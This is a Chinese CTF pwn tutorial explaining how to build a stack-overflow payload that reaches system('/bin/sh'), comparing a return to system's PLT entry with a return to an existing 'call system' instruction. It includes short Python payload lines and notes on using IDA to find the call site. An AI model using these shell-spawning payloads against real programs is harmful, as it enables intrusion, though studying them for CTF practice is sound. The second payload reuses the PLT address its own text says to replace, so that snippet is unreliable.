【PWN · 总结】call _system与system调用

call _system 相比于直调system,可以节省栈空间哦~


前言

栈溢出漏洞但是限制溢出字符数,倒逼我们减少溢出内容。

习题:NSSCTF | 在线CTF平台


构造payload的时候有两种方式构造
第一种,溢出后的返回地址是system的地址,也就是plt表中system的地址

system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(0)  + p32(binsh_addr)

第二种,溢出后的返回地址是call system的地址,这是程序中出现过的调用system的地址

system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(binsh_addr)

为什么调用system的plt地址时,要比调用call system的调用地址时多构造四个字节?

首先,我们想要程序执行的是

system('/bin/sh');

合法的程序在编译这一步时,实际上执行的是

lea eax, [address_binsh_str]
push eax
call system

进一步对call指令进行分解,执行call指令相当于

push ip					;执行system_addr之后的返回地址
jmp system_addr

因此,直接调用system函数时,在system地址后面要接上一个返回地址,再接上system函数的参数

而如果调用的是call system的话,返回到call system之后,才会执行push ip的操作,这个时候的push操作不需要我们关心,因此payload直接就是call_system_addr + binsh_addr
————————————————
版权声明:本文为CSDN博主「Morphy_Amo」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Morphy_Amo/article/details/121757953


 利用方法

左侧找到相关函数,双击。 

【PWN · 总结】call _system与system调用_第1张图片

选中一行 _system  按x键,即交叉引用,找到程序中用到_system的其他位置

【PWN · 总结】call _system与system调用_第2张图片

即可找到相关代码段

你可能感兴趣的:(【PWN,·,总结】,gadget,call,system,ctf,pwn)